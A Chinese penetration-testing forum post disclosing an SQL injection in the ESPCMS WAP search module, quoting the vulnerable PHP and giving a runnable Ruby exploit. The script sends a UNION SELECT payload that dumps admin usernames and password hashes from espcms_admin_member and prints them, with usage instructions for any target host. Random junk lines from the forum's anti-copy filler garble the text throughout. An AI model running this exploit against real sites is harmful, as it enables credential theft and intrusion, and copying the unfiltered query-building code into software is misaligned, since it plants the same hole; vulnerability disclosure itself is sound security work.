中国网络渗透测试联盟
标题:
espcms wap模块搜索处SQL注入
[打印本页]
作者:
admin
时间:
2013-7-27 18:31
标题:
espcms wap模块搜索处SQL注入
0×0 漏洞概述0×1 漏洞细节
- M$ t0 g; J# [8 D9 |5 R
0×2 PoC
: v8 l4 \4 }6 x! k1 D
: b& O3 \% W3 i5 G# R) c
9 K& ]1 p( l4 |3 b2 H+ X2 L0 o
5 n7 ~) V3 A) f& h$ i1 [
0×0 漏洞概述
J% v% S2 Z# h; U/ g% ^
8 f/ P! d% V5 d$ p. s8 }
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
6 N# B$ X8 x* `9 A: u( [! l
其在处理传入的参数时考虑不严谨导致
SQL注入
发生
: N7 T1 e# F/ W& H) A3 C$ K
& t1 r! `; ~% H
4 z6 A2 C& y! j6 Y# R% Q# G$ S. E+ t
0×1 漏洞细节
/ R- Z4 U$ o* v5 b9 b- I! t
1 n" a9 a8 S. b# t
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
( G8 q' h' O* }8 I/ G! f- A
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
c% f9 g ^+ W
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的
SQL注入
。
+ b" c. y# \. l1 l$ `, j
% R% p& f) q& ?, c4 R9 W! S7 Q
在/interface/3gwap_search.php文件的in_result函数中:
" O3 U% l( H; J3 s( Y O! v1 q
0 j' _4 n2 o6 ~% g: L) B: g
8 C. k5 o6 C2 `% S; ?, j
) L9 P1 q7 T/ n3 r- t* H: H
function in_result() {
0 s6 }# p) z$ F1 G9 e
... ... ... ... ... ... ... ... ...
5 L$ A) X2 h/ p0 E9 f3 T
$urlcode = $_SERVER[ 'QUERY_STRING '];
3 ?- E* l: W" A1 Z/ ~" B/ ?
parse_str(html_entity_decode($urlcode), $output);
1 [# F4 N/ @8 M W* z v5 c
3 ?0 g2 u; o3 }0 d
... ... ... ... ... ... ... ... ...
1 X$ {* e$ q# c, Z
if (is_array($output['attr' ]) && count($output['attr']) > 0) {
' b6 o+ j4 J& e+ B* y
* n$ L& a- ^+ B) S
$db_table = db_prefix . 'model_att';
) M6 g0 w# B, n$ K v, L
1 ]- o" F: b. e& C8 a+ Z
foreach ($output['attr' ] as $key => $value) {
& e {/ c8 |; H, ]5 K3 a( |8 q
if ($value) {
3 \: v2 X! M, l+ z8 J' d
@# w9 b. }& ?& T
$key = addslashes($key);
, p/ K7 W$ V; }6 x9 [
$key = $this-> fun->inputcodetrim($key);
- P4 c" v7 P r& k, I. T8 |
$db_att_where = " WHERE isclass=1 AND attrname='$key'";
& } G. X$ X. I! L
$countnum = $this->db_numrows($db_table, $db_att_where);
1 l/ C* S: g- d" l& {
if ($countnum > 0) {
* r" ~5 k8 V; H$ ~/ o0 [/ f d
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
9 }; B: i( y; s0 _9 F! d( @/ `
}
0 O i3 F' g$ ]% Q( \9 B _
}
7 Z6 C2 O5 X& Y+ g) {; `& ^
}
& `5 A: d. f, n1 K; @ s
}
3 o5 p& V2 ]2 z, S; p) c
if (!empty ($keyword) && empty($keyname)) {
1 F# j1 H, B) N A/ b/ W
$keyname = 'title';
* f0 x; t- ?; I
$db_where.= " AND a.title like '%$keyword%'" ;
" u1 v; }! C L: O
} elseif (!empty ($keyword) && !empty($keyname)) {
, i$ A, y; s ^: {; U
$db_where.= " AND $keyname like '% $keyword%'";
3 V4 l, x( b5 O2 f, w
}
; p- U2 q% [+ _( e* v+ R
$pagemax = 15;
, p# v) ]. S9 F" Y
1 \6 Y) ~" `; S" s {/ P8 m
$pagesylte = 1;
/ S. P, p" j! }
: r, X6 _% D* W8 _# ?
if ($countnum > 0) {
3 v. X! ]) @0 R; Z9 [* e' u
, D5 @, j% l$ ]. G
$numpage = ceil($countnum / $pagemax);
# [) r$ G4 j: A; e
} else {
; B5 ?8 T1 S" `& S4 L) b
$numpage = 1;
: G; b7 Z( u+ W+ j1 w/ }, m; M, C8 ]
}
: k1 g$ W2 h0 x& T6 Q
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
9 n5 I% n5 ]. `; ~$ C( K5 r/ |4 y6 |
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
; a- ^) f2 |4 f0 R/ x7 ?" |
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
! w) @' O1 A% @2 D4 ]- x
... ... ... ... ... ... ... ... ...
) |# c$ }: k7 R7 q4 J% K
}
8 a- ^2 D% h/ O3 d8 u
+ {4 T6 e" `8 s4 l
% d% n1 Z8 A ^% v6 a, X+ [
0×2 PoC
) x% T8 ]' X6 }$ ]: z
/ g9 K% c- i# ]# Z
0 i! M$ F" Z" u7 ~8 i3 U
7 A+ n8 R3 c9 w% h; f8 Y) J
require "net/http"
6 H D( s. H0 f% X E# b
' a$ O7 W, {3 P0 S
def request(method, url)
9 |- G% X) |7 }( o4 ]5 j, a
if method.eql?("get")
6 h9 Z- r/ w9 X% ]
uri = URI.parse(url)
! @# E- d# i8 t! ~% w) f
http = Net::HTTP.new(uri.host, uri.port)
6 l0 l# B* a/ y" E. }5 w
response = http.request(Net::HTTP::Get.new(uri.request_uri))
) z) B2 B# u6 w
return response
, N4 u: W* S3 e( K/ Z p" s* V
end
* g+ k0 P$ F+ j" w1 U' k
end
; k% I0 J$ W+ S; i3 b0 x
; F6 o$ }4 n- D' \3 X4 l
doc =<<HERE
9 C# s v7 P1 C, Q' w
-------------------------------------------------------
/ r: L4 D8 ~1 U) m
Espcms Injection Exploit
8 u$ }5 A' v9 Z G/ E5 P
Author:ztz
% w0 w2 e) i5 y7 t7 P- A2 |2 v Z' z
Blog:
http://ztz.fuzzexp.org/
1 u& d, D- B6 A+ S
-------------------------------------------------------
, O2 z3 f( {- R l- d" C' s3 @1 n& O
H a4 c5 x5 ~# J' v; g: M) \
HERE
1 W& @# a! A7 [3 x
* i, y8 {9 X$ X& C
usage =<<HERE
) h+ \2 {. x7 D* h8 G d
Usage: ruby #{$0} host port path
+ t- U- B# D$ b9 ^
example: ruby #{$0}
www.target.com
80 /
7 j# i8 E1 I a, q9 C
HERE
0 C* w( y4 o9 J6 _, Q
5 ?/ ^% ?- S2 a; ?% n- r
puts doc
/ _; y4 ~4 ]! E4 d1 C: a& X) G
if ARGV.length < 3
& v* X/ J* ^ |9 P% M
puts usage
* r8 q* A: d2 {' C
else
& b% N, i0 l0 P6 h( ?8 x
$host = ARGV[0]
( |0 \& g) s) ]! V( I! S" w& u& m, W
$port = ARGV[1]
4 f9 D3 S# I/ S( i8 G
$path = ARGV[2]
/ `) F. l# z* [; }8 Z. f9 ]
6 |0 u. i8 V' x
puts "
send request..."
4 W3 J4 ?( N K3 ^: @
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
/ w9 q8 l' |" x
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
- ^% e# K/ h2 a
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
* c& g# b8 D% ?: S* F1 I
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
, j7 v2 j# w. C' ^5 q
response = request("get", url)
# T/ {. m+ E# p3 r
result = response.body.scan(/\w+&\w{32}/)
% p" q6 I2 u0 Z7 x. l
puts result
/ m4 B& c6 s; X5 W4 d4 o
end
; J( l. U' F A, w7 O
! {2 e4 M& Y9 k3 l9 `* X' y
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2